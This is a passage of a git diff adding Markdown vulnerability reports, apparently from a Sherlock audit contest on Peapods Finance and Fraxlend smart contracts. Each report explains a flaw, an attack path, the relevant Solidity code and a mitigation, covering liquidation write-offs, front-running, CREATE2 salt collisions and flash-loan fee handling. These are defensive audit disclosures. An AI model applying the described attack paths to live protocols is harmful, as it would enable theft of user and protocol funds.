+- From the borrower’s standpoint, all their collateral disappears—even though the protocol only got a partial repayment from the liquidator.
+
+Hence, the net effect can cause a loss to the protocol. It is especially noticeable in edge cases where the leftover collateral is *slightly* below zero (or just barely negative).
+Overview of the Attack Idea
+ • The contract’s liquidation logic confuses the judgment of “whether the remaining collateral covers all of the debt” with “whether the liquidator has actually repaid all of the remaining debt.”
+ • If the calculated “remaining collateral” (borrower’s collateral minus the collateral corresponding to the liquidation share) becomes less than or equal to zero (_leftoverCollateral <= 0), it is treated as a “clean liquidation.”
+ • “Clean liquidation” triggers a direct write-off (using _sharesToAdjust to wipe out the remaining debt). However, during this process, the liquidator only needs to repay a portion of the debt (_sharesToLiquidate), but they get to take all of the borrower’s collateral.
+ • The protocol effectively absorbs the loss for the remaining debt because the part of the debt written off wasn’t actually repaid by the liquidator.
+
+Attack Path (Example Scenario)
+
+Here is a hypothetical attack scenario. Actual values depend on interest rates, collateral prices, collateral amounts, borrowed amounts, etc., but the approach remains similar:
+ 1. Borrower has collateral and debt:
+ • Assume the borrower has deposited some collateral (userCollateralBalance[borrower]) into the contract and borrowed an asset with corresponding debt (userBorrowShares[borrower]).
+ • Due to price fluctuations, interest accrual, etc., the borrower’s collateral value becomes insufficient to fully cover their debt, but the deficit is not substantial yet.
+ 2. Collateral is “slightly insufficient” to fully cover:
+ • After updating the exchange rate (_exchangeRate) and interest, the contract calculates:
+ If part of the debt (e.g., 30%) is liquidated, considering the liquidation fee (clean fee), theoretically, it should just about consume all of the borrower’s collateral.
+ • Therefore, _leftoverCollateral = User's remaining collateral - “collateral to be taken for this liquidation portion” might result in a slightly negative value.
+ 3. Attacker (Liquidator) chooses to repay only part of the debt:
+ • The liquidator calls liquidate(_sharesToLiquidate, ...) and intentionally repays only part of the debt (e.g., 30% of the total debt).
+ • In the function, this _sharesToLiquidate is converted to _amountLiquidatorToRepay asset (less than the total debt).
+ 4. Code treats this as a “clean liquidation”:
+ • Since _leftoverCollateral <= 0, the contract logic proceeds with:
+```solidity
+if (_leftoverCollateral <= 0) {
+ // Treat it as full liquidation
+ // Write off the remaining debt shares for the borrower
+ _sharesToAdjust = _borrowerShares - _sharesToLiquidate;
+ ...
+}
+```
+
+The contract writes off the remaining _sharesToAdjust (i.e., 70% of the debt) in one go (_totalBorrow.amount -= _amountToAdjust),
+meaning the protocol waives that portion of the debt.
+
+5. Liquidator takes all of the borrower’s collateral:
+ In the subsequent logic, the contract transfers userCollateralBalance[borrower] (the entire collateral) to the liquidator (or most of it, leaving a tiny bit for the protocol as a fee), because it is treated as a complete liquidation, meaning all collateral goes to the liquidator.
+ In reality, the liquidator only repaid the portion corresponding to _sharesToLiquidate.
+6. Protocol absorbs the remaining loss:
+ The remaining 70% of the debt is not repaid by anyone and is written off by _sharesToAdjust.
+ This results in a loss to the protocol. If the loss is significant, it could affect the capital providers (the liquidity providers).
+
+Why Does the “All Collateral Taken” Happen?
+
+In the code above, the logic distinguishing “clean liquidation” and “dirty liquidation” relies on:
+```solidity
+_leftoverCollateral = borrowerCollateral - optimisticCollateralForLiquidator;
+if (_leftoverCollateral <= 0) {
+ // Clean liquidation (take all collateral and write off remaining debt)
+} else {
+ // Dirty liquidation (take part of the collateral, leaving some for the borrower)
+}
+```
+Once _leftoverCollateral <= 0, even if it’s only a “slightly negative value,” the code automatically enters the “clean liquidation” branch, and it does not check whether the liquidator has actually repaid all of the remaining debt.
+Therefore, the liquidator just needs to “engineer” a situation where _leftoverCollateral is slightly negative, and they can take all collateral while only repaying part of the debt.
\ No newline at end of file
diff --git a/431.md b/431.md
new file mode 100644
index 0000000..52fafcb
--- /dev/null
+++ b/431.md
@@ -0,0 +1,40 @@
+Genuine Carrot Goat
+
+High
+
+# `_removeLeveragePostCallback()` calls `repayAsset()` but hasn't given the fraxlend pair the necessary approval to complete the tx
+
+### Summary
+
+When removing the leverage, we would need to give the fraxlend pair approval, but as seen in the code, it is not given anywhere, thus making it impossible to actually remove the leverage, locking the user's funds forever.
+
+### Root Cause
+
+The root cause is a lack of approving the fraxlend pair when removing leverage via the specified function.
+
+Even though it is said that prior to the flash loan, the assets are approved, nowhere can this be seen in the pre flashloan logic.
+
+### Internal Pre-conditions
+
+User has a leveraged position
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Bob creates a leverage position via `LeverageManager::addLeverage()` with 1 ETH
+2. Bob then tries to redeem his 1 ETH back by removing the leverage and repaying, but due to no approval, the tx would revert [here](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L365) and cause stuck funds
+
+### Impact
+
+Funds will be forever lost when a leveraged position is created, as we can't redeem it
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Give the fraxlend pair the necessary approval
\ No newline at end of file
diff --git a/432.md b/432.md
new file mode 100644
index 0000000..4469f97
--- /dev/null
+++ b/432.md
@@ -0,0 +1,28 @@
+Brief Nylon Dachshund
+
+Medium
+
+# Predictable CREATE2 Salt Leads to Address Collision and Stuck Funds
+
+The contract computes deployment addresses using `CREATE2` with a predictable [_getFullSalt()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/AutoCompoundingPodLpFactory.sol#L76-L78) function that only incorporates `address(this)` and a user-provided `_salt`, making it vulnerable to precomputed address collisions. An attacker can front-run a legitimate contract deployment by deploying a minimal contract at the precomputed address before the factory executes `create()`. Since `CREATE2` does not overwrite existing contracts, the factory call fails, but if `_depositMin()` was executed before the failure, user funds remain stuck in the factory. Below is the flawed `_getFullSalt()` implementation:
+```solidity
+function _getFullSalt(uint96 _salt) internal view returns (uint256) {
+ return uint256(uint160(address(this))) + _salt;
+}
+```
+And the `_deploy()` function fails to validate contract creation:
+```solidity
+function _deploy(bytes memory _bytecode, uint256 _finalSalt) internal returns (address _addr) {
+ assembly {
+ _addr := create2(callvalue(), add(_bytecode, 0x20), mload(_bytecode), _finalSalt)
+ if iszero(_addr) { revert(0, 0) } // @audit-info Missing extcodesize check
+ }
+}
+```
+This results in a scenario where `_depositMin()` transfers funds, but the expected `AutoCompoundingPodLp` contract is never deployed, permanently locking user assets inside the factory.
+
+## Impact
+Users can permanently lose funds if `_depositMin()` is called before a failed deployment due to an attacker preoccupying the expected contract address.
+
+## Mitigation
+Modify `_getFullSalt()` to include `msg.sender` to ensure salt uniqueness and verify contract creation using `extcodesize()` before transferring funds.
\ No newline at end of file
diff --git a/433.md b/433.md
new file mode 100644
index 0000000..4b93520
--- /dev/null
+++ b/433.md
@@ -0,0 +1,44 @@
+Rich Grey Crocodile
+
+Medium
+
+# `_addLeveragePreCallback` does not account for the fee on transfer nature of the pod token
+
+## Vulnerability Details
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L295-L307
+
+In `_addLeveragePreCallback`:
+```solidity
+function _addLeveragePreCallback(
+ address _sender,
+ uint256 _positionId,
+ address _pod,
+ uint256 _pTknAmt,
+ uint256 _pairedLpDesired,
+ uint256 _userProvidedDebtAmt,
+ bool _hasSelfLendingPairPod,
+ bytes memory _config
+) internal {
+ ....
+
+ if (_userProvidedDebtAmt > 0) {
+--> IERC20(_getBorrowTknForPod(_positionId)).safeTransferFrom(_sender, address(this), _userProvidedDebtAmt);
+ }
+
+ ....
+
+ IFlashLoanSource(_getFlashSource(_positionId)).flash(
+ _getBorrowTknForPod(_positionId),
+--> _pairedLpDesired - _userProvidedDebtAmt,
+ address(this),
+ _getFlashDataAddLeverage(_positionId, _sender, _pTknAmt, _pairedLpDesired, _config)
+ );
+}
+```
+
+We can see that the contract pulls `_userProvidedDebtAmt` of token from the sender, then accounts it as it has received that amount of token by calling flash with `_pairedLpDesired - _userProvidedDebtAmt`.
+
+However the pod tokens have a fee on transfer nature and doing this will result in the amount of tokens accounted to be in the contract to differ from the tokens actually pulled in.
+
+## Recommendation
+Add a `balanceAfter - balanceBefore` and use it to determine the amount to subtract `_pairedLpDesired` by so that it will be accurate.
\ No newline at end of file
diff --git a/434.md b/434.md
new file mode 100644
index 0000000..f7535cc
--- /dev/null
+++ b/434.md
@@ -0,0 +1,92 @@
+Alert Lime Panda
+
+Medium
+
+# `LeverageManager` will cause DOS by failing to repay Balancer Flash Loan fee
+
+### Summary
+
+The `receiveFlashLoan()` function in the `BalancerFlashSource` contract passes `_userData` directly to the `callback()` function of `_fData.recipient`. However, `_fData.recipient` is expected to repay the flash loan amount along with the fee, and it requires the correct encoded data to compute the repayment amount. The missing `fee` value in `_userData` may lead to an unexpected underpayment and reverting the flashloan due to not paying the required fee.
+
+### Root Cause
+
+The `receiveFlashLoan()` function processes the flash loan repayment but does not properly encode `_fData` before passing it to the recipient([LeverageManager](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L209)):
+
+```solidity
+ function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory _feeAmounts, bytes memory _userData)
+ external
+ override
+ workflow(false)
+ {
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+@> _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+@> IFlashLoanRecipient(_fData.recipient).callback(_userData); // @audit: Incorrect: should be abi.encode(_fData)
+ }
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L54C9-L56C67
+
+- `_fData.recipient` receives `_userData`, which does not contain the updated `fee` value.
+- Since `_fData.recipient` is responsible for [repaying the loan and fee](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L218C38-L218C62), it may not account for the correct repayment amount, leading to a possible shortfall.
+
+```solidity
+ function _addLeveragePostCallback(bytes memory _data) internal returns (uint256 _ptknRefundAmt) {
+@> IFlashLoanSource.FlashData memory _d = abi.decode(_data, (IFlashLoanSource.FlashData));
+ (LeverageFlashProps memory _props,) = abi.decode(_d.data, (LeverageFlashProps, bytes));
+.
+.
+.
+@> uint256 _flashPaybackAmt = _d.amount + _d.fee;
+ uint256 _borrowAmt = _overrideBorrowAmt > _flashPaybackAmt ? _overrideBorrowAmt : _flashPaybackAmt;
+
+ address _aspTkn = _getAspTkn(_props.positionId);
+ IERC20(_aspTkn).safeTransfer(positionProps[_props.positionId].custodian, _aspTknCollateralBal);
+ LeveragePositionCustodian(positionProps[_props.positionId].custodian).borrowAsset(
+ positionProps[_props.positionId].lendingPair, _borrowAmt, _aspTknCollateralBal, address(this)
+ );
+
+ // pay back flash loan and send remaining to borrower
+@> IERC20(_d.token).safeTransfer(IFlashLoanSource(_getFlashSource(_props.positionId)).source(), _flashPaybackAmt);
+```
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/lvf/LeverageManager.sol#L310C3-L338C120
+
+### Internal Pre-conditions
+
+1. When the `LeverageManager` contract uses the `BalancerFlashSource` contract as the flash loan source
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+If the `LeverageManager` contract selects the `BalancerFlashSource` contract as the flash loan source when adding leverage, it sets the flash loan `fee` to `0` due to the mistake. This leads to a revert in the [Balancer flash loan function](https://github.com/balancer/balancer-v2-monorepo/blob/36d282374b457dddea828be7884ee0d185db06ba/pkg/vault/contracts/FlashLoans.sol#L78C13-L79C101) during the repayment check, as the required amount is not fully repaid.
+
+### Impact
+
+If `_fData.recipient` does not receive the correct fee information, it may fail to return the full required amount, causing:
+- Flash Loan repayment failure and DoS of the add leverage functionality in the `LeverageManager` contract.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Update the `receiveFlashLoan()` function to encode `_fData` properly before calling the `callback()` function. This ensures that the recipient contract receives the correct data, including the fee amount, and can correctly compute the repayment obligation.
+
+```diff
+ function receiveFlashLoan(IERC20[] memory, uint256[] memory, uint256[] memory _feeAmounts, bytes memory _userData)
+ external
+ override
+ workflow(false)
+ {
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+ _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+- IFlashLoanRecipient(_fData.recipient).callback(_userData);
++ IFlashLoanRecipient(_fData.recipient).callback(abi.encode(_fData));
+ }
+```
\ No newline at end of file
diff --git a/435.md b/435.md
new file mode 100644
index 0000000..9657688
--- /dev/null
+++ b/435.md
@@ -0,0 +1,119 @@
+Brilliant Fiery Sheep
+
+Medium
+
+# `_processRewardsToPodLp` will be DOSed when the `lpRewardsToken` is added to the `_allRewardsTokens` array
+
+### Summary
+
+The `AutoCompoundingPodLp._processRewardsToPodLp` has a check that will process the `lpRewardsToken` after all other reward tokens have been looped through. This however ignores the fact that the `lpRewardsToken` could also be part of the `_allRewardsTokens` array which would leading to an attempt at processing the `lpRewardsToken` twice leading to a denial of service caused by the function reverting.
+
+### Root Cause
+
+The `AutoCompoundingPodLp._processRewardsToPodLp` has a check that will process the `lpRewardsToken` after all other reward tokens have been looped through:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213-L231
+
+```solidity
+ function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ for (uint256 _i; _i < _len; _i++) {
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+ uint256 _bal =
+ IERC20(_token).balanceOf(address(this)) - (_token == pod.PAIRED_LP_TOKEN() ? _protocolFees : 0);
+ if (_bal == 0) {
+ continue;
+ }
+ uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
+ _lpAmtOut += _newLp;
+ }
+ _totalAssets += _lpAmtOut;
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+```
+
+As can be seen there is an assumption that the `lpRewardsToken` will only be processed after all other tokens are looped through:
+
+```solidity
+ address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
+```
+
+The issue is that anyone can add `lpRewardsToken` to the `_allRewardsTokens` array through the `TokenRewards.depositRewards` function which is permissionless:
+
+```solidity
+ function depositRewards(address _token, uint256 _amount) external override {
+ _depositRewardsFromToken(_msgSender(), _token, _amount, true);
+ }
+```
+
+This will cause it to be added to the array:
+
+```solidity
+ function _depositRewardsFromToken(address _user, address _token, uint256 _amount, bool _shouldTransfer) internal {
+ require(_amount > 0, "A");
+ require(_isValidRewardsToken(_token), "V");
+ uint256 _finalAmt = _amount;
+ if (_shouldTransfer) {
+ uint256 _balBefore = IERC20(_token).balanceOf(address(this));
+ IERC20(_token).safeTransferFrom(_user, address(this), _finalAmt);
+ _finalAmt = IERC20(_token).balanceOf(address(this)) - _balBefore;
+ }
+ uint256 _adminAmt = _getAdminFeeFromAmount(_finalAmt);
+ if (_adminAmt > 0) {
+ IERC20(_token).safeTransfer(OwnableUpgradeable(address(V3_TWAP_UTILS)).owner(), _adminAmt);
+ _finalAmt -= _adminAmt;
+ }
+ _depositRewards(_token, _finalAmt);
+ }
+
+
+ function _depositRewards(address _token, uint256 _amountTotal) internal {
+ if (_amountTotal == 0) {
+ return;
+ }
+ if (!_depositedRewardsToken[_token]) {
+ _depositedRewardsToken[_token] = true;
+ _allRewardsTokens.push(_token);
+ }
+```
+
+Note that the check `_isValidRewardsToken` will not prevent it being added:
+
+```solidity
+ function _isValidRewardsToken(address _token) internal view returns (bool) {
+ return _token == rewardsToken || REWARDS_WHITELISTER.whitelist(_token);
+ }
+```
+
+This will lead to the `lpRewardsToken` attempting to be swapped out twice in `_tokenToPairedLpToken` as part of the `_processRewardsToPodLp` process leading to reverts due to inadequate balance.
+
+### Internal Pre-conditions
+
+1. Someone deposits a small amount of `lpRewardsToken`
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Someone deposits a small amount of `lpRewardsToken`
+2. `lpRewardsToken` is added to the `_allRewardsTokens` array as part of the deposit process
+3. `_processRewardsToPodLp` is called at some point e.g when a deposit or withdrawal is being done
+4. The function reverts because the `lpRewardsToken` will be processed twice leading to a revert when the token is attempted to be swapped the second time.
+
+### Impact
+
+Multiple functions are DOSed including deposits and withdrawals.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+A check can be added in `AutoCompoundingPodLp._processRewardsToPodLp` to skip the `lpRewardsToken` if it is part of the `_allRewardsTokens` array.
\ No newline at end of file
diff --git a/436.md b/436.md
new file mode 100644
index 0000000..5c141cb
--- /dev/null
+++ b/436.md
@@ -0,0 +1,19 @@
+Brief Nylon Dachshund
+
+Medium
+
+# Permanent Fee Processing Freeze via Unhandled `_shortCircuitRewards` in `flashMint()`
+
+The function [flashMint()](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L424-L436) sets `_shortCircuitRewards = 1` to temporarily disable reward processing during a flash mint operation. However, if the function fails before resetting `_shortCircuitRewards = 0`, this flag remains permanently set, causing `_processPreSwapFeesAndSwap()` to always return early without processing accumulated fees. This is because `_processPreSwapFeesAndSwap()` contains [an early exit condition](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/DecentralizedIndex.sol#L186-L188):
+```solidity
+if (_shortCircuitRewards == 1) {
+ return;
+}
+```
+Since `_shortCircuitRewards` is never reset upon failure, all future fee swaps are blocked indefinitely, preventing rewards distribution and liquidity fee conversion. Any user can trigger this issue by calling `flashMint()`, ensuring a failure occurs (e.g. using a contract that reverts in `callback(_data)`), thereby freezing the protocol’s fee processing permanently.
+
+## Impact
+The primary impact is that the protocol stops processing accumulated fees, leading to zero revenue distribution, no staking rewards, and loss of liquidity incentives, effectively crippling the ecosystem.
+
+## Mitigation
+Implement a `try...catch` block in `flashMint()` to always reset `_shortCircuitRewards = 0`, ensuring that a failure does not permanently disable fee processing.
\ No newline at end of file
diff --git a/437.md b/437.md
new file mode 100644
index 0000000..215271b
--- /dev/null
+++ b/437.md
@@ -0,0 +1,41 @@
+Genuine Carrot Goat
+
+High
+
+# During the call to `debond()`, someone can frontrun us making us not the last out
+
+### Summary
+
+During debonding as we have no slippage param and we are the last, we will suppose that we can debond our pod token without any fee due to the `__isLastOut()` being true.
+
+Someone can see that and snipe us, depositing just a small amount of pod token via `bond()` and frontrunning us so we get unexpectedly taxed when calling `debond()`
+
+### Root Cause
+
+The root cause is a lack of a slippage param in `debond()`, causing the user to incur an unexpected loss if he is the last one and someone snipes him.
+
+### Internal Pre-conditions
+
+User should be the last one holding his bond tokens when calling `debond()`
+
+### External Pre-conditions
+
+None
+
+### Attack Path
+
+1. Bob is the last one with the pod token and calls `debond()` knowing that he won't get any fees on his pod tokens when redeeming
+2. Malicious Alice sees that and frontruns him with a call to `bond()` to mint just enough pod tokens so that Bob won't be exempt from the usual fee
+3. Bob is unexpectedly forced to pay the fee due to Alice's actions, causing loss of funds and Alice getting instant rewards
+
+### Impact
+
+Unexpectedly losing funds when user is the last one to debond due to no slippage param
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add a slippage param in `debond()`
\ No newline at end of file
diff --git a/438.md b/438.md
new file mode 100644
index 0000000..62602bb
--- /dev/null
+++ b/438.md
@@ -0,0 +1,83 @@
+Keen Jetblack Deer
+
+High
+
+# FraxlendPair user liquidation may be frontrun, leading to loss of funds.
+
+
+### Summary
+
+FraxlendPair user liquidation may be frontrun, leading to loss of funds.
+
+### Root Cause
+
+First we need to understand how Fraxlend liquidation works for bad debt.
+
+For example, a position has `borrowedShares=borrowedAssets=100, collateral=100, exchangeRate(asset/collateral)=1.1`. This position is subject to liquidation, because the borrowed asset is worth 110, while collateral only worth 100. The process is as follow:
+
+1. Liquidators specify the amount of shares he wants to liquidate (the `_sharesToLiquidate` parameter)
+2. Calculate the amount of collateral the liquidator should get (the `_collateralForLiquidator` variable). This should be slightly higher in worth of the liquidated shares, since there is a liquidation bonus. However, if the position does not have that much collateral left, the leftover position collateral balance would be given to the liquidator.
+3. If position has none collateral left, and there are still borrow shares left, it is written to bad debt.
+
+Using the example above, if a liquidator chooses to liquidate `_sharesToLiquidate=80`, he would get `_collateralForLiquidator=88` (we ignore the liquidation bonus for simplicity).
+
+However, if someone frontruns the liquidator and liquidates 20 shares, the frontrunner would get 22 collateral, and the original liquidator would only get the remainder collateral, which is 100-22=78. The original liquidator would still repay 80 shares, but only gets 78 collateral back, effectively losing funds.
+
+- https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/fraxlend/src/contracts/FraxlendPairCore.sol#L1100
+
+```solidity
+ {
+ // Checks & Calculations
+ // Determine the liquidation amount in collateral units (i.e. how much debt liquidator is going to repay)
+@> uint256 _liquidationAmountInCollateralUnits =
+ ((_totalBorrow.toAmount(_sharesToLiquidate, false) * _exchangeRate) / EXCHANGE_PRECISION);
+
+ // We first optimistically calculate the amount of collateral to give the liquidator based on the higher clean liquidation fee
+ // This fee only applies if the liquidator does a full liquidation
+ uint256 _optimisticCollateralForLiquidator =
+ (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + cleanLiquidationFee)) / LIQ_PRECISION;
+
+ // Because interest accrues every block, _liquidationAmountInCollateralUnits from a few lines up is an ever increasing value
+ // This means that leftoverCollateral can occasionally go negative by a few hundred wei (cleanLiqFee premium covers this for liquidator)
+ _leftoverCollateral = (_userCollateralBalance.toInt256() - _optimisticCollateralForLiquidator.toInt256());
+
+ // If cleanLiquidation fee results in no leftover collateral, give liquidator all the collateral
+ // This will only be true when there liquidator is cleaning out the position
+@> _collateralForLiquidator = _leftoverCollateral <= 0
+ ? _userCollateralBalance
+ : (_liquidationAmountInCollateralUnits * (LIQ_PRECISION + dirtyLiquidationFee)) / LIQ_PRECISION;
+
+ if (protocolLiquidationFee > 0) {
+ _feesAmount = (protocolLiquidationFee * _collateralForLiquidator) / LIQ_PRECISION;
+ _collateralForLiquidator = _collateralForLiquidator - _feesAmount;
+ }
+ }
+```
+
+Note that due to the existance of liquidation bonus, this issue can happen even if collateral worth is larger than borrowed asset worth.
+
+Also, note that though there is a `deadline` parameter for liquidation, it cannot be used to prevent frontrunning.
+
+### Internal pre-conditions
+
+- A borrow position that is insolvent.
+
+### External pre-conditions
+
+- Liquidator gets frontrun.
+
+### Attack Path
+
+Attacker can frontrun the victim liquidator and liquidate the position first, leaving less collateral for the victim.
+
+### Impact
+
+Liquidator may end up with less collateral worth of the assets that he repayed, effectively losing funds.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Add a slippage for the minimum amount of collateral the liquidator should receive.
\ No newline at end of file
diff --git a/439.md b/439.md
new file mode 100644
index 0000000..14b7a08
--- /dev/null
+++ b/439.md
@@ -0,0 +1,94 @@
+Keen Jetblack Deer
+
+High
+
+# LendingAssetVault `_updateInterestAndMdInAllVaults()`'s update condition is flawed, leading to inaccurate interest.
+
+
+### Summary
+
+LendingAssetVault `_updateInterestAndMdInAllVaults()`'s update condition is flawed, leading to inaccurate interest.
+
+### Root Cause
+
+When user interacts with LVA, the CBR (collateral back ratio) is always updated first using `_updateInterestAndMdInAllVaults()` function. What `_updateInterestAndMdInAllVaults()` function does is it iterates all vaults (FraxlendPairs), and for each vault that has new interest collected, it triggers a `_updateAssetMetadataFromVault()` call to update the `_totalAssets` and `_totalAssetsUtilized`, which is used to calculate the CBR for LendingAssetVault.
+
+The bug here is the trigger logic within `_updateInterestAndMdInAllVaults()`. Currently it checks if there is new interest collected in a FraxlendPair. However, there are scenarios where the new interest are not collected, but FraxlendPair asset/share ratio changes a lot. In these scenarios, the CBR of LendingAssetVault should be updated as well, but they currently are not. For example:
+
+1. In the same transaction block, a large liquidation first happens, which leads to a lot of bad debt, greatly reducing the asset/share ratio of the FraxlendPair. Then in the same transaction block, a user interacts with LVA. Since interest was already updated for the FraxlendPair (during the liquidation transaction), `_interestEarned` would return false, and `_updateAssetMetadataFromVault()` is not triggered, so the user still uses the old CBR rate for calculation.
+
+2. Since `Fraxlend#addInterest()` has a cache mechanism based on utilization, if FraxlendPair's asset/share ratio changed a lot, as long as utilization doesn't change (e.g. interest accure leads to utilization rate increase, user deposit leads to utilization rate decrease, so net utilization diff is zero), then `_interestEarned` would still be false, and CBR update would not be triggered.
+
+In these scenarios, users would be using an old CBR rate, which would lead to either loss of funds (if CBR is lesser than expected), or earn more interest than they are deserved (if CBR is larger than expected).
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L1
+
+```solidity
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _updateInterestAndMdInAllVaults(address(0));
+ _shares = convertToShares(_assets);
+ _withdraw(_shares, _assets, _owner, _msgSender(), _receiver);
+ }
+
+ function _updateInterestAndMdInAllVaults(address _vaultToExclude) internal {
+ uint256 _l = _vaultWhitelistAry.length;
+ for (uint256 _i; _i < _l; _i++) {
+ address _vault = _vaultWhitelistAry[_i];
+ if (_vault == _vaultToExclude) {
+ continue;
+ }
+ (uint256 _interestEarned,,,,,) = IFraxlendPair(_vault).addInterest(false);
+@> if (_interestEarned > 0) {
+ // @audit-bug: This may not be called when should be.
+ _updateAssetMetadataFromVault(_vault);
+ }
+ }
+ }
+
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
+ emit UpdateAssetMetadataFromVault(_vault, _totalAssets, _totalAssetsUtilized);
+ }
+```
+
+### Internal pre-conditions
+
+Either of the following leading to `_updateAssetMetadataFromVault()` not triggered.
+
+1. FraxlendPair asset/share ratio changes, but utilization does not change.
+2. FraxlendPair asset/share ratio changes, but interest is not updated because interest was already updated in a previous transaction of the same transaction block.
+
+### External pre-conditions
+
+N/A
+
+### Attack Path
+
+N/A
+
+### Impact
+
+Users would be using an old CBR rate, which would lead to either loss of funds (if CBR is lesser than expected), or earn more interest than they are deserved (if CBR is larger than expected).
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Remove the check, or maintain a asset/share ratio of the for each FraxlendPair in LVA, and only call `_updateAssetMetadataFromVault()` if it changes.
\ No newline at end of file
diff --git a/440.md b/440.md
new file mode 100644
index 0000000..9abe44d
--- /dev/null
+++ b/440.md
@@ -0,0 +1,66 @@
+Keen Jetblack Deer
+
+High
+
+# LendingAssetVault incorrectly updates vaultUtilization if CBR for a single FraxlendPair decreases.
+
+
+### Summary
+
+LendingAssetVault incorrectly updates vaultUtilization if CBR for a single FraxlendPair decreases.
+
+### Root Cause
+
+`_updateAssetMetadataFromVault()` function is used to update the `vaultUtilization` for a single vault (FraxlendPair). The bug is if the vault's CBR (asset/share ratio) is decreasing, the formula is incorrect.
+
+For example, if the previous vault CBR is 1.5e27, the current is 1e27, the decrease should be `(1.5e27 - 1e27) / 1.5e27 = 33%`, but currently it is `(1.5e27 / 1e27) - 1 = 50%`. This is totally wrong, and would result in a lower CBR, which results in users receiving less assets, effectively losing funds.
+
+Another example, if we plug in `1.5e27 -> 0.75e27` (a supposedly 50% decrease), the current formula would end up in a 100% decrease, which means the CBR would end up in zero.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L287
+
+```solidity
+ function _updateAssetMetadataFromVault(address _vault) internal {
+ uint256 _prevVaultCbr = _vaultWhitelistCbr[_vault];
+ _vaultWhitelistCbr[_vault] = IERC4626(_vault).convertToAssets(PRECISION);
+ if (_prevVaultCbr == 0) {
+ return;
+ }
+ uint256 _vaultAssetRatioChange = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+@> ? ((PRECISION * _prevVaultCbr) / _vaultWhitelistCbr[_vault]) - PRECISION
+ : ((PRECISION * _vaultWhitelistCbr[_vault]) / _prevVaultCbr) - PRECISION;
+
+ uint256 _currentAssetsUtilized = vaultUtilization[_vault];
+ uint256 _changeUtilizedState = (_currentAssetsUtilized * _vaultAssetRatioChange) / PRECISION;
+ vaultUtilization[_vault] = _prevVaultCbr > _vaultWhitelistCbr[_vault]
+ ? _currentAssetsUtilized < _changeUtilizedState ? 0 : _currentAssetsUtilized - _changeUtilizedState
+ : _currentAssetsUtilized + _changeUtilizedState;
+ _totalAssetsUtilized = _totalAssetsUtilized - _currentAssetsUtilized + vaultUtilization[_vault];
+ _totalAssets = _totalAssets - _currentAssetsUtilized + vaultUtilization[_vault];
